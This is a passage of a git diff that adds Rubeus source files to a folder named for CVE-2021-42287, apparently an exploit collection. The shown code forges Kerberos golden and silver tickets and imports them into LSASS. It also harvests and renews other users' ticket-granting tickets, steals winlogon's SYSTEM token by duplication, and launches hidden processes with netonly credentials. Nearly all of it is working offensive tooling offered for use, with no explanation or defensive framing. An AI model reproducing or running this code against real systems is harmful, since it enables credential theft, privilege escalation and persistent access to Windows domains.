Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, encTicketData); + + // initialize the ticket and add the enc_part + Console.WriteLine("[*] Generating Ticket"); + Ticket ticket = new Ticket(domain.ToUpper(), sname); + ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); + + // add the ticket + cred.tickets.Add(ticket); + + // [0] add in the session key + info.key.keytype = (int)etype; + info.key.keyvalue = randKeyBytes; + + // [1] prealm (domain) + info.prealm = ticket.realm; + + // [2] pname (user) + info.pname.name_type = decTicketPart.cname.name_type; + info.pname.name_string = decTicketPart.cname.name_string; + + // [3] flags + info.flags = flags; + + // [4] authtime (not required) + info.authtime = decTicketPart.authtime; + + // [5] starttime + info.starttime = decTicketPart.starttime; + + // [6] endtime + info.endtime = decTicketPart.endtime; + + // [7] renew-till + info.renew_till = decTicketPart.renew_till; + + // [8] srealm + info.srealm = ticket.realm; + + // [9] sname + info.sname.name_type = ticket.sname.name_type; + info.sname.name_string = ticket.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + Console.WriteLine("[*] Generated KERB-CRED"); + + + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (parts[0] == "krbtgt") + { + Console.WriteLine("[*] Forged a TGT for '{0}@{1}'", info.pname.name_string[0], domain); + } + else + { + Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); + } + Console.WriteLine(""); + + // dates unique to this ticket + Console.WriteLine("[*] AuthTime : {0}", decTicketPart.authtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] StartTime : {0}", decTicketPart.starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] EndTime : {0}", decTicketPart.endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] RenewTill : {0}", decTicketPart.renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + + Console.WriteLine(""); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + DateTime fileTime = (DateTime)startTime; + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + Console.WriteLine(""); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // increase startTime by rangeInterval + startTime = Helpers.FutureDate((DateTime)startTime, rangeInterval); + if (startTime == null) + { + Console.WriteLine("[!] Invalid /rangeinterval passed, skipping multiple ticket generation: {0}", rangeInterval); + startTime = rangeEnd; + } + authTime = startTime; + + } while (startTime < rangeEnd); + + if (printcmd) + { + // print command to be able to recreate a ticket with this information + string cmdOut = String.Format("{0}", System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName); + + // deal with differences between golden and silver + if (parts[0].Equals("krbtgt") && parts[1].Equals(domain)) + { + cmdOut = String.Format("{0} golden", cmdOut, Helpers.ByteArrayToString(serviceKey)); + } + else + { + string krbEncType = ""; + if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + krbEncType = "rc4"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + krbEncType = "aes128"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + krbEncType = "aes256"; + } + cmdOut = String.Format("{0} silver /service:{1} /krbkey:{2} /kebenctype:{3}", cmdOut, sname, Helpers.ByteArrayToString(krbKey), krbEncType); + } + + // add the service key + string svrEncType = ""; + if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + svrEncType = "rc4"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + svrEncType = "aes128"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + svrEncType = "aes256"; + } + cmdOut = String.Format("{0} /{1}:{2}", cmdOut, svrEncType, Helpers.ByteArrayToString(serviceKey)); + + // add the rest of the values + cmdOut = String.Format("{0} /user:{1} /id:{2} /pgid:{3} /domain:{4} /sid:{5}", cmdOut, user, kvi.UserId, kvi.PrimaryGroupId, domain, kvi.LogonDomainId.GetValue()); + try + { + cmdOut = String.Format("{0} /logofftime:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.LogoffTime.LowDateTime | ((long)kvi.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch { } + try + { + cmdOut = String.Format("{0} /pwdlastset:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); + } + catch { } + if (minPassAge != null && minPassAge > 0) + { + cmdOut = String.Format("{0} /minpassage:{1}", cmdOut, minPassAge); + } + if (maxPassAge != null && maxPassAge > 0) + { + cmdOut = String.Format("{0} /maxpassage:{1}", cmdOut, maxPassAge); + } + if (kvi.BadPasswordCount > 0) + { + cmdOut = String.Format("{0} /badpwdcount:{1}", cmdOut, kvi.BadPasswordCount); + } + if (kvi.LogonCount > 0) + { + cmdOut = String.Format("{0} /logoncount:{1}", cmdOut, kvi.LogonCount); + } + if (!String.IsNullOrEmpty(kvi.FullName.ToString())) + { + cmdOut = String.Format("{0} /displayname:\"{1}\"", cmdOut, kvi.FullName.ToString()); + } + if (!String.IsNullOrEmpty(kvi.LogonScript.ToString())) + { + cmdOut = String.Format("{0} /scriptpath:\"{1}\"", cmdOut, kvi.LogonScript.ToString()); + } + if (!String.IsNullOrEmpty(kvi.ProfilePath.ToString())) + { + cmdOut = String.Format("{0} /profilepath:\"{1}\"", cmdOut, kvi.ProfilePath.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectory.ToString())) + { + cmdOut = String.Format("{0} /homedir:\"{1}\"", cmdOut, kvi.HomeDirectory.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectoryDrive.ToString())) + { + cmdOut = String.Format("{0} /homedrive:\"{1}\"", cmdOut, kvi.HomeDirectoryDrive.ToString()); + } + if (!String.IsNullOrEmpty(kvi.LogonDomainName.ToString())) + { + cmdOut = String.Format("{0} /netbios:{1}", cmdOut, kvi.LogonDomainName.ToString()); + } + if (kvi.GroupCount > 0) + { + cmdOut = String.Format("{0} /groups:{1}", cmdOut, kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + cmdOut = String.Format("{0} /sids:{1}", cmdOut, kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.ResourceGroupCount > 0) + { + cmdOut = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", cmdOut, kvi.ResourceGroupDomainSid.GetValue().ToString(), kvi.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (!String.IsNullOrEmpty(kvi.LogonServer.ToString())) + { + cmdOut = String.Format("{0} /dc:{1}.{2}", cmdOut, kvi.LogonServer.ToString(), domain); + } + if ((Interop.PacUserAccountControl)kvi.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + cmdOut = String.Format("{0} /uac:{1}", cmdOut, String.Format("{0}", (Interop.PacUserAccountControl)kvi.UserAccountControl).Replace(" ", "")); + } + if (!user.Equals(cName)) + { + cmdOut = String.Format("{0} /cname:{1}", cmdOut, cName); + } + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + cmdOut = String.Format("{0} /s4uproxytarget:{1} /s4utransitiedservices:{2}", cmdOut, s4uProxyTarget, s4uTransitedServices); + } + if (includeAuthData) + { + cmdOut = String.Format("{0} /authdata", cmdOut); + } + + // print the command + Console.WriteLine("\r\n[*] Printing a command to recreate a ticket containing the information used within this ticket\r\n\r\n{0}\r\n", cmdOut); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Harvest.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Harvest.cs new file mode 100644 index 0000000..e91738c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Harvest.cs @@ -0,0 +1,214 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Harvest + { + private readonly List harvesterTicketCache = new List(); + private readonly int monitorIntervalSeconds; + private readonly int displayIntervalSeconds; + private readonly string targetUser; + private readonly bool renewTickets; + private readonly string registryBasePath; + private readonly bool nowrap; + private readonly int runFor; + private DateTime lastDisplay; + private DateTime collectionStart; + + public Harvest(int monitorIntervalSeconds, int displayIntervalSeconds, bool renewTickets, string targetUser, string registryBasePath, bool nowrap, int runFor) + { + this.monitorIntervalSeconds = monitorIntervalSeconds; + this.displayIntervalSeconds = displayIntervalSeconds; + this.renewTickets = renewTickets; + this.targetUser = targetUser; + this.registryBasePath = registryBasePath; + this.lastDisplay = DateTime.Now; + this.collectionStart = DateTime.Now; + this.nowrap = nowrap; + this.runFor = runFor; + } + + public void HarvestTicketGrantingTickets() + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); + return; + } + + // get the current set of TGTs + while (true) + { + // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration + List sessionCreds = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true); + List currentTickets = new List(); + foreach(var sessionCred in sessionCreds) + { + foreach(var ticket in sessionCred.Tickets) + { + currentTickets.Add(ticket.KrbCred); + } + } + + if (renewTickets) { + // "harvest" mode - so don't display new tickets as they come in + AddTicketsToTicketCache(currentTickets, false); + + // check if we're at a new display interval + if(lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1)) + { + this.lastDisplay = DateTime.Now; + // refresh/renew everything in the cache and display the working set + RefreshTicketCache(true); + Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds); + } + else + { + // refresh/renew everything in the cache, but don't display the working set + RefreshTicketCache(); + } + } + else + { + // "monitor" mode - display new ticketson harvest + AddTicketsToTicketCache(currentTickets, true); + } + + if (registryBasePath != null) + { + LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath); + } + + if (runFor > 0) + { + // compares execution start time + time entered to run the harvest for against current time to determine if we should exit + if (collectionStart.AddSeconds(this.runFor) < DateTime.Now) + { + Console.WriteLine("[*] Completed running for {0} seconds, exiting\r\n", runFor); + System.Environment.Exit(0); + } + } + + // If a runFor time is set and the monitoring interval is longer than the time remaining on the run, + // the sleep interval will be adjusted down to however much time left in the run there is. + if (runFor > 0 && collectionStart.AddSeconds(this.runFor) < DateTime.Now.AddSeconds(monitorIntervalSeconds)) + { + TimeSpan t = collectionStart.AddSeconds(this.runFor + 1) - DateTime.Now; + Thread.Sleep((int)t.TotalSeconds * 1000); + } + // else we'll do a normal monitor interval sleep + else + { + Thread.Sleep(monitorIntervalSeconds * 1000); + } + } + } + + private void AddTicketsToTicketCache(List tickets, bool displayNewTickets) + { + // adds a list of KRB_CREDs to the internal cache + // displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode + + bool newTicketsAdded = false; + + if (tickets == null) + throw new ArgumentNullException(nameof(tickets)); + + foreach (var ticket in tickets) + { + var newTgtBytes = Convert.ToBase64String(ticket.RawBytes); + + var ticketInCache = false; + + foreach (var cachedTicket in harvesterTicketCache) + { + // check the base64 of the raw ticket bytes to see if we've seen it before + if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes) + { + ticketInCache = true; + break; + } + } + + if (ticketInCache) + continue; + + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime); + + if (endTime < DateTime.Now) + { + // skip if the ticket is expired + continue; + } + + harvesterTicketCache.Add(ticket); + newTicketsAdded = true; + + if (displayNewTickets) + { + Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n"); + LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap); + } + } + + if(displayNewTickets && newTicketsAdded) + Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count); + } + + private void RefreshTicketCache(bool display = false) + { + // goes through each ticket in the cache, removes any tickets that have expired + // and renews any tickets that are going to expire before the next check interval + // then displays the current "active" ticket cache if "display" is passed as true + + if (display) + Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); + + for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) + { + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); + var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); + var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; + var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; + + // check if the ticket has now expired + if (endTime < DateTime.Now) + { + Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); + // remove the ticket from the cache + Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); + harvesterTicketCache.RemoveAt(i); + Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); + } + + else + { + // check if the ticket is going to expire before the next interval checkin + // but we'll still be in the renew window + if ( (endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)) ) + { + // renewal limit after checkin interval, so renew the TGT + userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; + domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; + + Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); + var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); + var renewedCred = new KRB_CRED(bytes); + harvesterTicketCache[i] = renewedCred; + } + + if (display) + LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); + } + + } + + if (display) + Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); + } + + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Helpers.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Helpers.cs new file mode 100644 index 0000000..f5bb66a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Helpers.cs @@ -0,0 +1,567 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text.RegularExpressions; +using System.Threading; +using System.DirectoryServices; +using System.DirectoryServices.Protocols; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Helpers + { + #region String Helpers + + public static IEnumerable Split(string text, int partLength) + { + // splits a string into partLength parts + if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); } + if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); } + + var partCount = Math.Ceiling((double)text.Length / partLength); + if (partCount < 2) + { + yield return text; + } + + for (int i = 0; i < partCount; i++) + { + var index = i * partLength; + var lengthLeft = Math.Min(partLength, text.Length - index); + var line = text.Substring(index, lengthLeft); + yield return line; + } + } + + private static Random random = new Random(); + public static string RandomString(int length) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + return new string(Enumerable.Repeat(chars, length) + .Select(s => s[random.Next(s.Length)]).ToArray()); + } + + public static bool IsBase64String(string s) + { + s = s.Trim(); + return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None); + } + + public static byte[] StringToByteArray(string hex) + { + // converts a rc4/AES/etc. string into a byte array representation + + if ((hex.Length % 16) != 0) + { + Console.WriteLine("\r\n[X] Hash must be 16, 32 or 64 characters in length\r\n"); + System.Environment.Exit(1); + } + + // yes I know this inefficient + return Enumerable.Range(0, hex.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) + .ToArray(); + } + + //StackOverflow goodness + public static string ByteArrayToString(byte[] bytes) { + char[] c = new char[bytes.Length * 2]; + int b; + for (int i = 0; i < bytes.Length; i++) { + b = bytes[i] >> 4; + c[i * 2] = (char)(55 + b + (((b - 10) >> 31) & -7)); + b = bytes[i] & 0xF; + c[i * 2 + 1] = (char)(55 + b + (((b - 10) >> 31) & -7)); + } + return new string(c); + } + + public static DateTime? FutureDate(DateTime date, string increase) + { + int multiplier; + DateTime? returnDate = null; + try + { + multiplier = Int32.Parse(increase.Substring(0, increase.Length - 1)); + } + catch + { + Console.WriteLine("[X] Error invalid multiplier specified {0}, skipping.", increase.Substring(0, increase.Length - 1)); + return returnDate; + } + + string period = increase.Substring(increase.Length - 1); + + switch (period) + { + case "m": + returnDate = date.AddMinutes(multiplier); + break; + case "h": + returnDate = date.AddHours(multiplier); + break; + case "d": + returnDate = date.AddDays(multiplier); + break; + case "M": + returnDate = date.AddMonths(multiplier); + break; + case "y": + returnDate = date.AddYears(multiplier); + break; + } + + return returnDate; + } + + #endregion + + + #region Token Helpers + + public static bool IsHighIntegrity() + { + // returns true if the current process is running with adminstrative privs in a high integrity context + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + public static bool GetSystem() + { + // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation + if (IsHighIntegrity()) + { + IntPtr hToken = IntPtr.Zero; + + // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken + Process[] processes = Process.GetProcessesByName("winlogon"); + IntPtr handle = processes[0].Handle; + + // TOKEN_DUPLICATE = 0x0002 + bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - OpenProcessToken failed!"); + return false; + } + + // make a copy of the NT AUTHORITY\SYSTEM token from winlogon + // 2 == SecurityImpersonation + IntPtr hDupToken = IntPtr.Zero; + success = Interop.DuplicateToken(hToken, 2, ref hDupToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - DuplicateToken failed!"); + return false; + } + + success = Interop.ImpersonateLoggedOnUser(hDupToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - ImpersonateLoggedOnUser failed!"); + return false; + } + + // clean up the handles we created + Interop.CloseHandle(hToken); + Interop.CloseHandle(hDupToken); + + if (!IsSystem()) + { + return false; + } + + return true; + } + else + { + return false; + } + } + + public static bool IsSystem() + { + // returns true if the current user is "NT AUTHORITY\SYSTEM" + var currentSid = WindowsIdentity.GetCurrent().User; + return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid); + } + + public static LUID GetCurrentLUID() + { + // helper that returns the current logon session ID by using GetTokenInformation w/ TOKEN_INFORMATION_CLASS + + var TokenInfLength = 0; + var luid = new LUID(); + + // first call gets lenght of TokenInformation to get proper struct size + var Result = Interop.GetTokenInformation(WindowsIdentity.GetCurrent().Token, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength); + + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + + // second call actually gets the information + Result = Interop.GetTokenInformation(WindowsIdentity.GetCurrent().Token, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength); + + if (Result) + { + var TokenStatistics = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS)); + luid = new LUID(TokenStatistics.AuthenticationId); + } + else + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] GetTokenInformation error: {0}", lastError); + Marshal.FreeHGlobal(TokenInformation); + } + + return luid; + } + + public static LUID CreateProcessNetOnly(string commandLine, bool show = false, string username = null, string domain = null, string password = null) + { + // creates a hidden process with random /netonly credentials, + // displayng the process ID and LUID, and returning the LUID + + // Note: the LUID can be used with the "ptt" action + + Interop.PROCESS_INFORMATION pi; + var si = new Interop.STARTUPINFO(); + si.cb = Marshal.SizeOf(si); + if (!show) + { + // hide the window + si.wShowWindow = 0; + si.dwFlags = 0x00000001; + } + Console.WriteLine("[*] Showing process : {0}", show); + var luid = new LUID(); + + + if (username == null) { username = Helpers.RandomString(8);} + if (domain == null) { domain = Helpers.RandomString(8); } + if (password == null) { password = Helpers.RandomString(8); } + + Console.WriteLine("[*] Username : {0}", username); + Console.WriteLine("[*] Domain : {0}", domain); + Console.WriteLine("[*] Password : {0}", password); + + // 0x00000002 == LOGON_NETCREDENTIALS_ONLY + if (!Interop.CreateProcessWithLogonW(username, domain, password, 0x00000002, commandLine, String.Empty, 0, 0, null, ref si, out pi)) + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError); + return new LUID(); + } + + Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine); + Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId); + + var hToken = IntPtr.Zero; + // TOKEN_QUERY == 0x0008 + var success = Interop.OpenProcessToken(pi.hProcess, 0x0008, out hToken); + if (!success) + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] OpenProcessToken error: {0}", lastError); + return new LUID(); + } + + var TokenInfLength = 0; + bool Result; + + // first call gets lenght of TokenInformation to get proper struct size + Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength); + + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + + // second call actually gets the information + Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength); + + if (Result) + { + var TokenStats = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS)); + luid = new LUID(TokenStats.AuthenticationId); + Console.WriteLine("[+] LUID : {0}", luid); + } + else + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] GetTokenInformation error: {0}", lastError); + Marshal.FreeHGlobal(TokenInformation); + Interop.CloseHandle(hToken); + return new LUID(); + } + + Marshal.FreeHGlobal(TokenInformation); + Interop.CloseHandle(hToken); + + return luid; + } + + #endregion + + + #region File Helpers + + static public string GetBaseFromFilename(string filename) + { + return SplitBaseAndExtension(filename)[0]; + } + + static public string GetExtensionFromFilename(string filename) + { + return SplitBaseAndExtension(filename)[1]; + } + + // Splits filename by into a basename and extension + // Returns an array representing [basename, extension] + static public string[] SplitBaseAndExtension(string filename) + { + string[] result = { filename, "" }; + string[] splitName = filename.Split('.'); + + if (splitName.Length > 1) + { + result[1] = $".{splitName.Last()}"; + result[0] = filename.Substring(0, filename.Length - result[1].Length); + } + + return result; + } + + static public string MakeValidFileName(string filePath) + { + // Can't use IO.Path.GetFileName and IO.Path.GetDirectoryName because they get confused by illegal file name characters (the whole reason we are here) + string fileName = filePath; + string directoryPath = string.Empty; + int lastSeparatorPosition = filePath.LastIndexOf(Path.DirectorySeparatorChar); + if ((lastSeparatorPosition > -1) && (filePath.Length > lastSeparatorPosition)) + { + fileName = filePath.Substring(lastSeparatorPosition + 1); + directoryPath = filePath.Substring(0, lastSeparatorPosition + 1); + } + + // Great method from http://forcewake.me/today-i-learned-sanitize-file-name-in-csharp/ + string invalidChars = new string(Path.GetInvalidFileNameChars()); + string escapedInvalidChars = Regex.Escape(invalidChars); + string invalidRegex = string.Format(@"([{0}]*\.+$)|([{0}]+)", escapedInvalidChars); + return directoryPath + Regex.Replace(fileName, invalidRegex, "_"); + } + + #endregion + + + #region Misc Helpers + + public static void RandomDelayWithJitter(int delay, int jitter) + { + // given delay == ms and jitter = %, sleep for that amount + + var timeToSleep = 0; + + if (delay == 0) + { + timeToSleep = 0; + } + else if (jitter == 0) + { + timeToSleep = delay; + } + else + { + var rnd = new Random(); + var percent = (int)Math.Floor((double)(jitter * (delay / 100))); + timeToSleep = delay + rnd.Next(-percent, percent); + } + + if (timeToSleep != 0) + { + Thread.Sleep(timeToSleep); + } + } + + static public int SearchBytePattern(byte[] pattern, byte[] bytes) + { + List positions = new List(); + int patternLength = pattern.Length; + int totalLength = bytes.Length; + byte firstMatchByte = pattern[0]; + for (int i = 0; i < totalLength; i++) + { + if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) + { + byte[] match = new byte[patternLength]; + Array.Copy(bytes, i, match, 0, patternLength); + if (match.SequenceEqual(pattern)) + { + return i; + } + } + } + return 0; + } + + static public bool WriteBytesToFile(string filename, byte[] data, bool overwrite = false) + { + bool result = true; + string filePath = Path.GetFullPath(filename); + + try + { + if (!overwrite) + { + if (File.Exists(filePath)) + { + throw new Exception(String.Format("{0} already exists! Data not written to file.\r\n", filePath)); + } + } + File.WriteAllBytes(filePath, data); + } + catch (Exception e) + { + Console.WriteLine("\r\nException: {0}", e.Message); + result = false; + } + + return result; + } + + // variables specifying non default AD attribute types + private static string[] stringArrayAttributeName = + { + "serviceprincipalname", + "memberof" + }; + private static string[] datetimeAttributes = + { + "lastlogon", + "lastlogoff", + "pwdlastset", + "badpasswordtime", + "lastlogontimestamp", + }; + private static string[] dateStringAttributes = + { + "whenchanged", + "whencreated" + }; + private static string[] intAttributes = + { + "useraccountcontrol", + "msds-supportedencryptiontypes" + }; + + static public List> GetADObjects(List searchResults) + { + var ActiveDirectoryObjects = new List>(); + + foreach (SearchResultEntry result in searchResults) + { + IDictionary ActiveDirectoryObject = new Dictionary(); + + foreach (string attribute in result.Attributes.AttributeNames) + { + // for string arrays like serviceprincipalname + if (stringArrayAttributeName.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, result.Attributes[attribute].GetValues(typeof(string))); + } + // datetime attributes + else if (datetimeAttributes.Contains(attribute)) + { + if (Int64.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0]) != 0) + { + ActiveDirectoryObject.Add(attribute, DateTime.FromFileTimeUtc(Int64.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0]))); + } + else + { + ActiveDirectoryObject.Add(attribute, DateTime.MinValue); + } + } + // deal with objectsid + else if (attribute.Equals("objectsid")) + { + ActiveDirectoryObject.Add(attribute, new SecurityIdentifier((byte[])result.Attributes[attribute].GetValues(typeof(byte[]))[0], 0).Value); + } + // deal with ints + else if (intAttributes.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, Int32.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0])); + } + // default action convert to string + else + { + ActiveDirectoryObject.Add(attribute, result.Attributes[attribute].GetValues(typeof(string))[0]); + } + } + + ActiveDirectoryObjects.Add(ActiveDirectoryObject); + } + + return ActiveDirectoryObjects; + } + + static public List> GetADObjects(SearchResultCollection searchResults) + { + var ActiveDirectoryObjects = new List>(); + + foreach (SearchResult result in searchResults) + { + IDictionary ActiveDirectoryObject = new Dictionary(); + + foreach (string attribute in result.Properties.PropertyNames) + { + // for string arrays like serviceprincipalname + if (stringArrayAttributeName.Contains(attribute)) + { + List values = new List(); + foreach (var value in result.Properties[attribute]) + { + values.Add(value.ToString()); + } + ActiveDirectoryObject.Add(attribute, values.ToArray()); + } + // datetime attributes + else if (datetimeAttributes.Contains(attribute)) + { + if (Int64.Parse(result.Properties[attribute][0].ToString()) != 0) + { + ActiveDirectoryObject.Add(attribute, DateTime.FromFileTimeUtc((long)result.Properties[attribute][0])); + } + else + { + ActiveDirectoryObject.Add(attribute, DateTime.MinValue); + } + } + // deal with objectsid + else if (attribute.Equals("objectsid")) + { + ActiveDirectoryObject.Add(attribute, new SecurityIdentifier((byte[])result.Properties[attribute][0], 0).Value); + } + // deal with ints + else if (intAttributes.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, result.Properties[attribute][0]); + } + // default action convert to string + else + { + ActiveDirectoryObject.Add(attribute, result.Properties[attribute][0].ToString()); + } + } + + ActiveDirectoryObjects.Add(ActiveDirectoryObject); + } + + return ActiveDirectoryObjects; + } + + #endregion + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop.cs new file mode 100644 index 0000000..1249456 --- /dev/null +++ 